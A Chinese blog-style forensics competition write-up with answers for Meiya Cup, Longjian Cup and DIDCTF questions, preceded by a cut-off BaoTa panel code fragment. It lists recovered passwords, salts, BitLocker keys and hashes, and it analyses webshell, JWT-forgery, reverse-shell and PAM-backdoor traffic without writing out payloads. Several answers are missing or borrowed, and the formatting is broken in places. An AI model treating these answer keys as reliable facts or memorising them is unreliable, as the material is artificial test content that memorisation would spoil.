def __setitem__(self, key, value):
setattr(self,key,value)

def get_attr(self,key):
'''
尝试获取模块,若为字符串,则尝试实例化模块,否则直接返回模块对像
'''
res = getattr(self,key)
if isinstance(res,str):
try:
tmp_obj = __import__(key)
reload(tmp_obj)
setattr(self,key,tmp_obj)
return tmp_obj
except:
raise Exception(get_error_info())
return res

def __getitem__(self, key):
return self.get_attr(key)

def __delitem__(self,key):
delattr(self,key)

def __delattr__(self, key):
delattr(self,key)

def get_items(self):
return self

def __init__(self,path = "class",limit = None):
'''
@name 加载指定目录下的模块
@author hwliang<2020-08-03>
@param path<string> 指定目录,可指定绝对目录,也可指定相对于/www/server/panel的相对目录 默认加载class目录
@param limit<string/list/tuple> 指定限定加载的模块名称,默认加载path目录下的所有模块
@param object

@example
p = get_modules('class')
if 'public' in p:
md5_str = p.public.md5('test')
md5_str = p['public'].md5('test')
md5_str = getattr(p['public'],'md5')('test')
else:
print(p.__dict__)
'''
os.chdir('/www/server/panel')
exp_files = ['__init__.py','__pycache__']
if not path in sys.path:
sys.path.insert(0,path)
for fname in os.listdir(path):
if fname in exp_files: continue
filename = '/'.join([path,fname])
if os.path.isfile(filename):
if not fname[-3:] in ['.py','.so']: continue
mod_name = fname[:-3]
else:
c_file = '/'.join((filename,'__init__.py'))
if not os.path.exists(c_file):
continue
mod_name = fname

if limit:
if not isinstance(limit,list) and not isinstance(limit,tuple):
limit = (limit,)
if not mod_name in limit:
continue

setattr(self,mod_name,mod_name)


题目28

  • 请分析当前宝塔面板密码加密过程中所使用的salt值为【区分大小写】

  • 该值在这个位置看,default.db文件

1
/www/server/panel/data
  • 这里我一直在本地打开不了db文件,或者是打开的db文件有错误,所以就使用在线网站对db文件进行解析,最后得到salt
  • 所以最后的答案为:v87ilhAVumZL

image-20241021184102388

image-20241021192535392

题目29

  • 请分析该服务器,网站源代码所在的绝对路径为【标准格式/xxx/xxx/xxx】

  • 使用history命令查看,发现有/www/wwwroot/www.honglian7001/app

image-20241021184949336

  • 所以最终答案为:/www/wwwroot/www.honglian7001

  • 网站目录使用宝塔也能一眼看到

image-20241021185328815

题目30

  • 请分析,网站所使用的数据库位于IP为()的服务器上(请使用该IP解压检材4,并重构网 站)【标准格式:111.111.111.111】

  • 在该目录的文件下能看到数据库位于哪个ip的服务器上/www/wwwroot/www.honglian7001/app/databae.php

  • 所以最后答案为192.168.110.115

image-20241021190152495

题目31

  • 请分析,数据库的登陆密码为【区分大小写】

  • 答案wxrM5GtNXk5k5EPX

  • 在上题的.php文件中就会出现数据库的登录密码

image-20241021190329549

题目32

  • 请尝试重构该网站,并指出,该网站的后台管理界面的入口为【标准格式:/web】

  • 后台登录的路口都在admin中,所以答案为/admin

image-20241021193407015

题目33

  • 已该涉案网站代码中对登录用户的密码做了加密处理。请找出加密算法中的salt值【区分大小写】

  • 在该目录下的这个文件中就可以看到盐值

  • 答案:lshi4AsSUrUOwWV

image-20241021193102647

image-20241021193126034

题目34*

  • 请分析该网站的管理员用户的密码为

题目35*

  • 在对后台账号的密码加密处理过程中,后台一共计算几次哈希值

题目36*

  • 请统计,后台中,一共有多少条设备记录

题目37*

  • 请通过后台确认,本案中受害者的手机号码为

题目38*

  • 请分析,本案中受害者的通讯录一共有多少条记录

检材4

题目39

  • 请计算检材四-PC的原始硬盘的SHA256值

  • 思路和操作都是前面的,这里不多说,答案:E9ABE6C8A51A633F809A3B9FE5CE80574AED133BC165B5E1B93109901BB94C2B

题目40

  • 请分析,检材四-PC的Bitlocker加密分区的解密密钥为

  • 直接美亚取证大师,一键找出,答案:511126-518936-161612-135234-698357-082929-144705-622578

image-20241021195227242

题目41

  • 请分析,检材四-PC的开机密码为

  • 答案:12306

  • 直接使用题目40的密钥解密

image-20241021195807808

  • 解密后再次自动取证

image-20241021195927573

  • 找到用户信息

image-20241021200302719

image-20241021201313690

image-20241021201323019

题目42

  • 经分析发现,检材四-PC是嫌疑人用于管理服务器的设备,其主要通过哪个浏览器控制网站后台
  • 答案:Google Chrome
    • 看下图谷歌是嫌疑人常用浏览器

image-20241021201955425

题目43

  • 请计算PC检材中用户目录下的zip文件的sha256值

  • 直接美亚取证大师计算sha256

image-20241021202839521

  • 答案:0DD2C00C8C6DBDEA123373F91A3234D2F07D958355F6CD7126E397E12E8ADBB3

题目44

  • 请分析检材四-phone,该手机的IMEI号为
  • 答案为IMEI1:868668043754436

image-20241028083101054

题目45

  • 请分析检材四-phone,嫌疑人和本案受害者是通过什么软件开始接触的【标准格式:支付宝 】

image-20241028083326102

题目46

  • 请分析检材四-phone,受害者下载恶意APK安装包的地址为
  • 答案:https://cowtransfer.com/s/a6b28b4818904c

image-20241028084023327

题目47

  • 请分析检材四-phone,受害者的微信内部ID号为wxid_op8i06j0aano22

image-20241028084401908

题目48

  • 请分析检材四-phone,嫌疑人用于敲诈本案受害者的QQ账号为1649840939

image-20241028084457608

题目49

  • 请综合分析,嫌疑人用于管理敲诈对象的容器文件的SHA256值为
  • 先对E1文件取证,找到密钥3BC73D1D-E5B0-4592-B9D6-42D0A306B625

image-20241028092358970

  • 打开对应虚拟机,同时找到登录密码

image-20241028093118481

  • 直接仿真打开电脑,找到该压缩包我的赚钱工具,然后进行解压缩,压缩密码12306,可以在取证软件中导出压缩包,然后再宿主机上进行解压缩

image-20241028115938582

  • 解压后就会出现该vm文件

image-20241028124410441

  • 使用仿真软件仿真该文件

image-20241028124444088

  • 直接取证得到该密码,或者是仿真得到密码(我用仿真得到密码),然后再使用ubuntu打开windos 10 x64.vmx文件,发现有快照直接回到快照那边去

image-20241028124509090

  • 取证中导出该文件key.rar

image-20241028125543598

  • 找到这个,计算sha256,即可得到本题答案,本题答案为:9C4BE29EB5661E6EDD88A364ECC6EF004C15D61B08BD7DD0A393340180F15608

image-20241028125630125

题目50

  • 请综合分析嫌疑人检材,另外一受害者“郭先生”的手机号码为

  • 上题题目既然是容器文件那么就使用容器解密,猜测密钥就是key.rar(该压缩包本身就是做密钥)

  • 挂载后就会出现如下内容

image-20241028130217413

  • 找到郭先生的文件夹,得到电话15266668888

image-20241028130305574

题目51

  • 通过嫌疑人检材,其中记录了几位受害者的信息

  • 答案:5

image-20241028165503088

题目52

  • 请使用第11题的密码解压“金先生转账.zip”文件,并对压缩包中的文件计算SHA256值

  • 答案:cd62a83690a53e5b441838bc55ab83be92ff5ed26ec646d43911f119c15df510

  • 在这个位置找到金先生转账

image-20241028170822623

  • 由于之前11题没有写出来,导致解压密码不知道所以,先看wp得到解压密码c74d97b01eae257e44aa9d5bade97baf

  • 解压后直接sha256计算即可

image-20241028171259105

题目53

  • 请综合分析,受害者一共被嫌疑人敲诈了多少钱(转账截图被隐藏在多个地方)

  • 第一处52题的金先生转账

image-20241028171342681

  • 第2处在伊对的聊天记录里面

image-20241028171750061

image-20241028171800950

  • 第3处在QQ聊天这边

image-20241028172545565

image-20241028172050134

  • 第4处微信这边又转了2000

image-20241028172320544

2021陇剑杯

jwt

  • 先了解一下jwt,jwt英文全称为JWT(JSON Web Token),是一种常见的令牌格式
    • jwt存在于http协议中
    • jwt的一般格式为header.payload.signature
    • jwt出现的位值
      • jwt会出现在cookie中
      • jwt还会出现在url中,但是这种方式不太安全
      • jwt还会出现在http的请求头中,一般在Authorization头,通常会以Bearer开头传递JWT令牌。
  • jwt的明文形式,首先我们了解了jwt的密文格式为header.payload.signature,现在了解一下jwt的明文格式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
对于头部`header`
{
"alg": "HS256", // 签名算法,例如 HMAC SHA256
"typ": "JWT" // 表示这是一个 JWT 令牌
}

对于载荷`payload`部分
{
"sub": "1234567890", // 用户的唯一标识
"name": "John Doe",
"admin": true, // 自定义字段,可以是用户角色、权限等
"iat": 1516239022 // 签发时间,通常是一个 Unix 时间戳
}

对于签名`signature`部分

HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)

注意:从明文形式看前俩段都是没有加密的,都是经过base64编码后的,而最后一部分签名是与前俩部分有关系的

题目1 jwt1

  • 对流量抓包要分清楚用户的请求协议还是服务器的发送协议

    • 用户请求协议一般都有get或者post头
    • 当用户的请求协议被服务器接收服务器会返回状态码
    • 该题主要是黑客进行攻击,所以我们主要是把协议聚焦在请求协议上
  • 昨天,单位流量系统捕获了⿊客攻击流量,请您分析流量后进⾏回答:该⽹站使⽤了( )认证方式?(如有字母则默认小写)注意:此附件适用于jwt所有系列

  • 打开流量包附件后直接看http协议,发现Cookie中的token是jwt的格式,所以最后答案为:jwt

image-20241028191023377

题目2 jwt2

  • 黑客绕过验证使用的jwt中,id和username是___。(中间使用#号隔开,例如1#admin)

  • 答案:10086#admin

  • 了解了jwt基本格式后就,就直接复制http协议中的token的内容

image-20241028192001157

  • 然后使用在线base64解密即可得到idusername

image-20241028192058734

题目3 jwt3

  • 黑客获取webshell之后,权限是___?(字母默认小写)

  • 答案:root

  • 通过流量分析可以看到root权限和对应的密码

image-20241028192459251

  • 并且在分析流量包的内容时还发现了whoami命令

image-20241028192637308

  • 之后就出现了root

image-20241028192700458

题目4 jwt4

  • 黑客上传的恶意文件文件名是___。(请提交带有文件后缀的文件名,例如x.txt)
  • 答案:1.c
  • 通过逐步分析http协议,就可以看到,黑客使用命令执行,将码一步步写入被攻击的计算机中,使用的是echo 命令
  • 然后解密

image-20241028193743264

  • 最后这个马会被写入/tmp文件夹下的1.c文件中

image-20241028193956889

题目5 jwt5

  • 黑客在服务器上编译的恶意so文件,文件名是___。(请提交带有文件后缀的文件名,例如x.so)
  • 答案:looter.so
  • 在查看接下去的http协议,会发现又有命令执行,

image-20241028195159809

  • 对该命令执行的base64编码的内容进行解码后会得到

image-20241028195402860

题目6 jwt6

  • 黑客在服务器上修改了一个配置文件,文件的绝对路径为___。(请确认绝对路径后再提交)

  • 答案:/etc/pam.d/common-auth

  • 继续分析http协议

image-20241028195919535

  • 会发现黑客将这些东西写入进去了,写入到文件目录/etc/pam.d/common-auth,稍微了解一下linux的文件目录就会知道etc这个文件目录一般都存放着配置文件,所以最后的答案就是/etc/pam.d/common-auth

日志分析

题目7 日志分析1

  • 题目描述单位某应用程序被攻击,请分析日志,进行作答:网络存在源码泄漏,源码文件名是__注意:此附件适用于日志分析所有题目
  • 答案:www.zip
  • 这题原本思路是正确的,结果被%2e%2f给搞半死
  • 这题日志中黑客应该是在暴力查看网页文件,所以会出现一堆404,并且请求头还有各种不同的文件
  • 所以这题只要搜索200这个关键字,表示请求成功,然后一个一个尝试即可

image-20241028205339015

题目8 日志分析2

  • 分析攻击流量,黑客往/tmp目录写入一个文件,文件名为___。

  • 答案:sess_car

  • 直接关键字搜tmp

image-20241028205516747

题目9 日志分析3

  • 分析攻击流量,黑客使用的是__类读取了秘密文件。

  • 答案:SplFileObject

  • 第8题写入文件的下方就是读取文件了,将该行请求复制下来,使用url解码就可以看到答案

image-20241028210357709

  • 答案为SplFileObject,该类是 PHP 中的一个类,专用于对文件进行操作(如读取、写入等)。该类允许开发者以对象的方式处理文件。

image-20241028210457849

简单日志分析

题目10 简单日志分析1

  • 题目描述某应用程序被攻击,请分析日志后作答:黑客攻击的参数是___。(如有字母请全部使用小写)注意:此附件适用于简单日志分析所有题目,后缀名为.zip
  • 答案:user
  • 查看日志,一眼望去都是404,就这个地方为500,而且又是这么一长串

image-20241028211117311

题目11 简单日志分析2

  • 黑客查看的秘密文件的绝对路径是___。(不带 / )

  • 答案:Th4s_IS_VERY_Import_Fi1e

  • 还是在题目10的那一行日志中,在该日志中将参数后面的base64编码解码后就会发现读取文件了

image-20241028211352735

题目12 简单日志分析3

  • 黑客反弹shell的ip和端口是___。(格式使用“ip:端口",例如127.0.0.1:2333)

  • 答案:192.168.2.197:8888

  • 聚焦到日志的最后一行就会,将base64解码后就会发现反弹shell的痕迹

image-20241028211652330

  • 解码后如下:

image-20241028211717601

SQL注入

  • 交给web手队友,这题我放了
  • 还是做一下吧
  • SQL注入方式有这几种:
1
2
3
4
5
6
7
单引号注入
联合查询注入
布尔盲注
时间盲注
错误注入
二次注入
盲注

题目13 SQL注入1

  • 题目描述某应用程序被攻击,请分析日志后作答:黑客在注入过程中采用的注入手法叫___。(格式为4个汉字,例如“拼搏努力”)注意:此附件适用于SQL注入所有题目
  • 答案:布尔盲注
  • 这题有个if语句大概率是布尔盲注

image-20241104225658155

题目14 SQL注入2

题目15 SQL注入3

WIFI

题目16 WIFI1

内存分析

题目18 内存分析1

题目19内存分析2

IOS

题目20 IOS1

  • 一位ios的安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:黑客所控制的C&C服务器IP是___。
  • 答案:

题目21 IOS2

题目22 IOS3

题目23 IOS4

题目24 IOS5

题目25 IOS6

题目26 IOS7

webshell

  • 这题还是流量分析,这题的流量分析主要还是看请求包,偶尔需要看响应包

题目27 webshell1

  • 黑客登陆系统使用的密码是__

  • 答案: Admin123!@#

  • 分析流量附件看到请求头有login字样,发现登录密码

image-20241028224152611

题目28 webshell2

  • 黑客修改了一个日志文件,文件的绝对路径为__答题格式:\xx\xxx\xxx\xxx.log不区分大小写

  • 答案:/var/www/html/data/Runtime/Logs/Home/21_08_07.log

  • 查看流量,查看到该位置,发现日志,但是该日志还不是绝对路径

image-20241028234311667

  • 再往下分析就会看到绝对路径了,如果是web方向估计猜都能猜到,但是我是pwn方向

image-20241028234618892

题目29 webshell3

  • 黑客获取webshell之后的权限是:
  • 答案:www-data
  • 继续接下去分析http协议,分析到该处进行了命令执行

image-20241028233552929

  • 然后就查看之后一个响应包,这样就可以看到命令执行后返回的内容

image-20241028233726416

题目30 webshell4

  • 黑客写入的webshell文件名是__。(请提交带有文件后缀的文件名,例如x.txt)
  • 答案:1.php
  • 分析到这边,答案直接看到

image-20241028225635130

题目31 webshell5

  • 黑客上传的代理工具客户端名字是__。(如有字母请全部使用小写) 仅文件名,不要后缀名

  • 答案:frpc

  • 分析到这里

image-20241028235606210

  • 将右边部分去掉7V后解码,得到文件路径和文件名

image-20241028235701413

题目32 webshell6

  • 黑客代理工具的回连服务端ip是_。

  • 答案:192.168.239.123

  • 直接将下面一串十六进制转化为字符串即可得到答案

image-20241029002155837

  • 转字符串

image-20241029002218590

题目33 webshell7

  • 黑客的socks5的连接账号、密码是__。(中间使用#号隔开,例如admin#passwd)
  • 答案:``
  • 前面的题目32已经找到socket5了密码也在下面

image-20241029002344553

2021美亚杯个人赛

题目1工地主管电话的微信账号是什么?

仅一次答题机会

1
以上皆非
  • 找到聊天记录,可以看到聊天的用户名,但是这个是whatsapp而不是微信,我看了别人的wp,也去搜索了一下香港的whatsapp
  • 香港更经常使用的是whatsapp而不是微信,工地主管没有微信

image-20241105092951153

  • 搜索结果如下

image-20241105093154646

题目2工地主管的隔空投送装置置编号是什么?(请以英文全大写及阿拉伯数字回答)

1
780F624DF099
  • 没用过iPhone,不知道iPhone的隔空投送装置,然后就找不到,结果看wp发现在这里,还是题目做少了

image-20241105121008263

题目3**(单选题)** 工地主管电话的哪一个应用程序有关于经纬度24.490474, 118.110220的纪录?仅一次答题机会

1
Apple Maps
  • 这里直接翻到定位,即可得到

image-20241105094039386

题目4**(多选题)** 工地主管的手提电话中下列哪些数据正确?仅两次答题机会

1
AC
  • A选项是对的

image-20241105094200415

  • B选项是错误的

image-20241105094235664

  • C选项是对的

image-20241105094314063

  • D选项还没找到,但是根据答案D没安装

题目5**(填空题)** 工地主管的电话最常使用的浏览器是什么? (请以英文全大写回答)

1
SAFARI
  • 查看web history,有看到来源是SAFARI

image-20241105094641969

题目6**(单选题)** 工地主管的电话连接过哪一个WiFi?仅一次答题机会

1
Kaiser Lee
  • 这题就是点击这里查看

image-20241105121627974

  • 然后就会看到

image-20241105121706115

题目7**(多选题)** 工地主管与Alex Chan的Whatsapp 对话中,曾提及以下哪个TeamViewer的用户号码?

1
A,B,E
  • 找到这俩个人的对话和消息记录

image-20241105121852464

  • 找到这个对话

image-20241105122034600

  • 然后找到这里

image-20241105122128963

  • 然后用户号码是以图片的形式发给Alex Chan的,A有,B有,E有

image-20241105122245716

image-20241105122305775

image-20241105122334457

题目8工地主管的WhatsApp中有多少个黑名单的记录? (请以阿拉伯数字回答)

1
0
  • 找半天没找到黑名单,看wp后才知道没有黑名单

题目9**(多选题)**以下哪个蓝牙装置的 Uuid 曾连接过工地主管的手机?

1
2
A. 7F1FE70D-2B15-C245-853D-4196F13CC446
B. 1B057C1D-83D3-99A6-D2B1-EC54846C7CEE
  • 一开始没找出来,之后反应过来了
  • ios取证这边直接搜索Bluetooth,发现在数据库里面有存文件

image-20241105183958924

  • 找到数据库并且保存下来使用数据库管理工具打开

image-20241105184048133

  • 发现uuid

image-20241105184058439

题目10工地主管计算机的E盘的Bitlocker修复密钥标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)

1
36EBC18095F741FFBE5B4E56E7AF48B1
  • 找到最近访问的就可以看到了

image-20241105170438902

题目11工地主管计算机內的FTP程序FileZilla的用户名称是甚么? (请以英文全大写及阿拉伯数字回答)

1
ALEX
  • 之前用火眼看找不到,现在使用美亚取证大师可以看得到

image-20241105183427463

题目12工地主管的Team Viewer ID 是甚么? (请以英文全大写及阿拉伯数字回答)

1
435270306
  • 直接就火眼查看即可

image-20241105184224840

题目13工地主管的Team Viewer与哪一个ID连接? (请以英文全大写及阿拉伯数字回答)

1
420190768
  • 这题答案就在账户信息的下面

image-20241105184325832

题目14**(多选题)** 工地主管曾用计算机浏览器作搜寻,以下哪一个关键词他曾经搜寻?

1
2
B. web whatsapp
C. facebook
  • 这题只有俩个选项是正确的,还有一个选项是故意写错名字挖坑的

image-20241105184642683

题目15工地主管计算机的Windows系统的产品标识符是甚么? (请以英文全大写及阿拉伯数字回答,不用输入”-“)

1
003311000000001AA962
  • 产品标识符其实就是产品ID

image-20241105172728052

题目16工地主管曾用计算机使用WhatsApp,他曾和以下哪个电话号码沟通?

1
无通话记录
  • 计算机上没有WhatsApp,所以根本就没有通话记录

题目17**(多选题)** 工地主管计算机的用户名称是甚么? 其用户标识符是甚么?

1
2
A.用户名称: PC1
F.用户标识符:0x000003E9
  • 这题答案换成了十六进制的形式

image-20241105185728088

  • 十进制的1001转换为16进制也就是0x3E9

image-20241105185819627

题目18**(单选题)** 工地主管计算机的预设浏览器是甚么?

1
A.Chrome
  • 预设浏览器其实就是默认浏览器,直接查看浏览器的浏览记录,从浏览记录的多少可以判断出预设浏览器

image-20241105173303191

  • 也可以直接查看配置得到默认浏览器

image-20241105185024266

题目19工地主管计算机的其中一个分区被人加密,分区内的电子表格Material3.xlsx的哈希值(SHA1)是甚么? (请以英文全大写及阿拉伯数字回答)

1
40418B21F6C3E4AF306D5EF3B80A776DA72FC1D2
  • 这题加密的恢复文本在FTP的服务器中,所以光找被加密的那个系统是不能找到的

image-20241105224451629

  • 导出后得到恢复密钥
1
209451-527087-001254-240735-481855-489566-611721-343497
  • 得到密钥后直接恢复被加密的磁盘,或者在火眼仿真中直接输入密钥,或者在美亚取证大师中直接输入密钥。然后就可以找到该文件并计算哈希值

image-20241106102015257

题目20**(多选题)** 路由器的记录中显示以下有哪些IP是公司的电子器材?

1
2
3
4
A.192.168.40.128
B.192.168.40.129
C.192.168.40.130
D.192.168.40.131
  • 直接字符串搜索ip地址,发现只有E的ip192.168.40.132,搜索不到

image-20241105173838049

题目21

1
Visited: PC1@https://www.bing.com/search?q=ftp://218.255.242.114/&PC=MENEPB

题目24**(单选题)** 路由器的记录中显示哪一个IP曾以teamviewer 连接公司计算机?

题目27**(单选题)** 阿力士 iPhone12pro电话于2021年10月21日,以下哪张相片可能曾被分享(UTC+8)?

1
A. IMG_0011.HEIC
  • 查看得到选项图片的日期都是19日,但是某个图片有两张,然后还有一张图片保存路径在不同,故推断是这张照片

image-20241105201451260

题目28[单选] 阿力士iPhone 12 pro电话中哪一张相片可能曾被修改拍摄时间?

1
A. IMG_0011.HEIC
  • 结合第36题可以知道是11被改了

题目29[填空题] 阿力士iPhone 12 pro 的GSM媒体访问控制地址是什么? (请以英文全大写及阿拉伯数字回答,不用输入":")

1
e06d17382420
  • 这里不明白什么是GSM,问了下Ai:GSM(Global System for Mobile Communications)是一种全球广泛应用的蜂窝网络标准,支持语音和数据传输。iPhone 12 Pro支持全球的GSM网络,确保可以在大部分国家和地区使用。

  • 这里其实可能就是wifi的网卡地址

image-20241105210800563

题目30[单选题] 阿力士的iphone 12 pro以什么屏幕密码保护?

1
D. 以上皆非
  • 找不到密码,所以填以上皆非

题目31[多选题] 阿力士iphone 12 pro内以下哪一张相片是实况相片(live Photos)?

1
2
3
A. IMG_0011.HEIC
B. IMG_0010.HEIC
D. IMG_0009.HEIC
  • 这里面没有12的照片

image-20241106103236128

题目32[单选题] 以下哪一个是阿力士iphone 12 pro可能曾经连接的装置名称?

1
A. Chris’s MacBook Pro
  • 查看时间线可以看到

image-20241105200352196

题目33[单选题] 接上题,记录连接时间是什么时候(UTC+8)?

1
B. 2021年10月21日 08:58:01
  • 直接看题目32截图,可以看到答案

题目34[多选题] 阿力士iPhone XR中在软件WhatsApp中工地主管与阿力士的对话中曾提到:[佢叫我俾钱喎,BTC係唔係呢个啊?]。在进行电子数据取证分析后,以下哪一个是有可能关于此对话的正确描述?

1
2
3
4
5
6
7
8
```

+ 查看工地主管的聊天记录,发现没有被删除,所以A选项排除

![image-20241106103431715](电子数据取证刷题1/image-20241106103431715.png)

## 题目35[填空题] 阿力士iPhone XR的WhatsApp对话中,阿力士曾要求工地主管支付多少个BTC? (请以阿拉伯数字回答)

10

1
2
3
4
5
6
7

+ 直接查看`iPhone XR`的对话即可得到答案

![image-20241105200847812](电子数据取证刷题1/image-20241105200847812.png)

## 题目36[多选题] 阿力士iPhone XR中 “IMG_0056.HEIC”的图像与"5005.JPG"(MD5: 96c48152249536d14eaa80086c92fcb9)” 看似为同一张相片,在电子数据取证分析下,以下哪样描述是正确?

B. 有不同哈希值
C. IMG_0056.HEIC 为原图,5005.JPG(MD5: 96c48152249536d14eaa80086c92fcb9)为缩略图

1
2
3
4
5
6
7

+ 直接对比俩个图片,结合常识得到

![image-20241105213746725](电子数据取证刷题1/image-20241105213746725.png)

## 题目37[多选题] 阿力士iPhone XR中相片檔IMG_0056.HEIC提供了什么电子数据取证的信息?

A. 此相片是由隔空投送 (Airdrop)得来
C. 此相片的拍摄时间为2021-10-21 17:45:48(UTC+8)

1
2
3
4
5

+ 之前有看到阿力士的另一部手机中看到该图片,推断是从那部手机从`Airdrop`得来的,然后就直接A。由于当时拍摄是10月21而不是9月所以直接得到

## 题目38[单选题] 阿力士iPhone XR中阿力士的电邮账户[Alexc19851016@gmail.com](mailto:Alexc19851016@gmail.com)的密码有可能是什么?

C. Aa475869!

1
2
3
4
5
6
7

+ 这题在手机上不好找到,而在Alex的电脑上很容易找到

![image-20241106103810316](电子数据取证刷题1/image-20241106103810316.png)

## 题目39[填空题] 阿力士iPhone XR曾经连接Wifi “Alex Home”的密码是什么? (请以英文全大写及阿拉伯数字回答)

12345678

1
2
3
4
5
6
7
8
9

+ 直接搜素关键字即可

![image-20241106103917639](电子数据取证刷题1/image-20241106103917639.png)



## 题目40[单选题] 阿力士iPhone XR经iCloud备份的最后时间是什么?(UTC+8)?

A. 2021-10-21 17:51:38(UTC+8)

1
2
3
4
5
6
7

+ 这题搜索就能看到,但是这题有坑该时间不是utc+8

![image-20241106104504351](电子数据取证刷题1/image-20241106104504351.png)

## 题目41[填空题] 阿力士iPhone XR中的iBoot版本是iBoot-[______]? (请以阿拉伯数字回答,不用轮入".")

672312036

1
2
3
4
5
6
7

+ 直接找到iboot

![image-20241106105133578](电子数据取证刷题1/image-20241106105133578.png)

## 题目42[多选题] 阿力士iPhone XR中的WhatsApp群组『团购-新鲜猪肉牛肉-东涌群组-9/30』有以下哪一个成员?

A. 85260617332@s.whatsapp.net
D. 85264630956@s.whatsapp.net

1
2
3
4
5
6
7
8
9
10
11

+ 先找到该群,然后查看该群的人员

![image-20241106105704224](电子数据取证刷题1/image-20241106105704224.png)

+ 然后就会发现以下用户

![image-20241106110106118](电子数据取证刷题1/image-20241106110106118.png)

## 题目43[单选题] 阿力士的计算机显示曾于hongkongcard.com 的论坛登记成为会员,以下哪个是他的帐户密码?

Aa475869!

1
2
3
4
5
6
7

+ 直接火眼一把梭

![image-20241105220641348](电子数据取证刷题1/image-20241105220641348.png)

## 题目44[单选题] 阿力士的计算机显示阿力士曾用什么方法进入受害者(主管)的计算机?

1
2
3

## 题目46

218255242114

1
2
3
4
5
6
7

+ 还是火眼一把梭

![image-20241105220845543](电子数据取证刷题1/image-20241105220845543.png)

## 题目47[填空题] 阿力士的计算机显示于2021年9月至2021年11月期间,计算机曾被登入过多少次? (请以阿拉伯数字回答)

1
2
3

## 题目48[填空题] 阿力士计算机所安装的Microsoft Office 2007 是以下哪一个版本? (请以亚拉伯数字作答,省去"."符号)

12045181014

1
2
3
4
5
6
7

+ 直接查看这个文件得到版本号

![image-20241106111920517](电子数据取证刷题1/image-20241106111920517.png)

## 题目49[填空题]以下是阿力士计算机中的Basic data partition (EFI 3) 的Volume ID?(请以英文全大写及阿拉伯数字回答)

1
2
3
4
5



## 题目50[填空题] 阿力士计算机的Window product ID是什么? (请以英文全大写及阿拉伯数字回答,不用输入"-")

003311000000001AA411

1
2
3
4
5
6
7

+ 还是纯送分

![image-20241105224103307](电子数据取证刷题1/image-20241105224103307.png)

## 题目52[填空题] 阿力士计算机所安装的Microsoft Office 2007 的密钥是甚么? (请以英文全大写及阿拉伯数字回答,不用输入"-")

V77WQRPVP67MTPGWH3G9D44MJ

1
2
3
4
5
6
7

+ 直接一把梭

![image-20241105225434646](电子数据取证刷题1/image-20241105225434646.png)

## 题目53[单选题] 阿力士FTP 服务器用户使用命令行安装了甚么程序?

A. Docker

1
2
3
4
5
6
7

+ 直接查看命令行得到Docker

![image-20241105221905659](电子数据取证刷题1/image-20241105221905659.png)

## 题目54[多选题] 以下哪些档案于阿力士FTP 服务器曾重复出现?

D. Staff1
E. Staff2
F. Staff3

1
2
3
4
5
6
7

+ 纯送分,看这写

![image-20241105223642147](电子数据取证刷题1/image-20241105223642147.png)

## 题目55[填空题] 在阿力士FTP服务器中,文件夹___曾被用户变更了访问权限(请以英文全大写及阿拉伯数字回答)

1
2
3
4
5



## 题目56[填空题] 在阿力士FTP 服务器建设后,有 ___ 个额外用户被加入 (请以阿拉伯数字回答)

1

1
2
3
4
5
6
7

+ 个人推测只有这一个额外加入的用户

![image-20241106113113224](电子数据取证刷题1/image-20241106113113224.png)

## 题目57. [单选题] 根据阿力士FTP服务器设定显示,此服务器是以___方式连接网络,且是一个___网络状态

C. 有线 , 公开

1
2
3
4
5
6
7

+ ftp服务器是Docker容器提供服务的,所以主要看Docker和FTP服务器的网络配置

![image-20241106113956711](电子数据取证刷题1/image-20241106113956711.png)

## 题目58[填空题] 阿力士FTP 服务器设定最多使用者数目是 ___ (请以阿拉伯数字回答)

docker run -d --name ftpd-server -p 23:21 -p 30010-30019:30010-30019 -e “FTP_PASSIVE_PORTS=30010:30019” -e “FTP_USER_HOME=/home/Dangerous_Project” -e FTP_USER_NAME=alex -e FTP_USER_PASS=123456 -e “PUBLICHOST=218.255.242.114” stilliard/pure-ftpd

1
2
3
4
5



## 题目59[填空题]阿力士FTP服务器使用Docker安装了一个FTP程序为___。(例如 space docker/1.1,请输入spacedocker/1.1,不要输入空格)

stilliard/pure-ftpd

1
2
3
4
5
6
7

+ 也是送分题目

![image-20241105223228535](电子数据取证刷题1/image-20241105223228535.png)

## 题目60[多选题] 阿力士FTP 服务器曾使用过甚么版本的Linux内核?

A. linux-headers-5.11.0-16
D. inux-headers-5.11.0-37

1
2
3
4
5
6
7

+ 直接在日志解析中可以看到

![image-20241105223003378](电子数据取证刷题1/image-20241105223003378.png)

## 题目61[多选题] 阿力士FTP 服务器的磁盘分区,有以下哪一种文件系统?

B. FAT32
E. Ext4

1
2
3
4
5
6
7

+ 也是纯送分题目

![image-20241105222759203](电子数据取证刷题1/image-20241105222759203.png)

## 题目62[填空题] 阿力士FTP服务器用户输入了指令 ___ 去检查现存的Docker容器 (例如 netstat lntp,请输入 netstatlntp,不要输入空格)

dockercontainerps-a

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

+ 纯送分题

![image-20241105222641850](电子数据取证刷题1/image-20241105222641850.png)

# 2022美亚杯个人赛

## 题目1



# 2022DIDCTF

## 介质与手机

### 题目1请计算计算机的磁盘SHA256值

2B18B049698C725E42BCF9A8ED04B6D206F9473FC5D23571EAEC3F1E1E71BF9E

1
2
3
4
5
6
7
8
9

+ 直接使用美亚取证大师打开该文件

+ 计算磁盘的`sha256`的值即可

![image-20241022081846925](电子数据取证刷题1/image-20241022081846925.png)

### 题目2记录计算机名与开机用户名(格式:计算机名-开机用户名)

DESKTOP-1R1FP8B-hello

1
2
3
4
5
6
7

![image-20241022082056713](电子数据取证刷题1/image-20241022082056713.png)

![image-20241022082127049](电子数据取证刷题1/image-20241022082127049.png)

### 题目3记录计算机操作系统的具体Build版本号

18363

1
2
3
4
5

![image-20241022082210438](电子数据取证刷题1/image-20241022082210438.png)

### 题目4计算机中后缀名是jpg的缩略图数量为

43

1
2
3
4
5

![image-20241022084135076](电子数据取证刷题1/image-20241022084135076.png)

### 题目5取证常识题目:计算机系统桌面管理应用相关的记录事件ID为

9027

1
2
3

### 题目6记录当前计算机操作系统使用的文件系统格式

NTFS

1
2
3
4
5
6
7

+ 直接找

![image-20241022083354132](电子数据取证刷题1/image-20241022083354132.png)

### 题目7当前计算机操作系统默认的照片查看器为:

WPS图片

1
2
3
4
5

![image-20241022084919512](电子数据取证刷题1/image-20241022084919512.png)

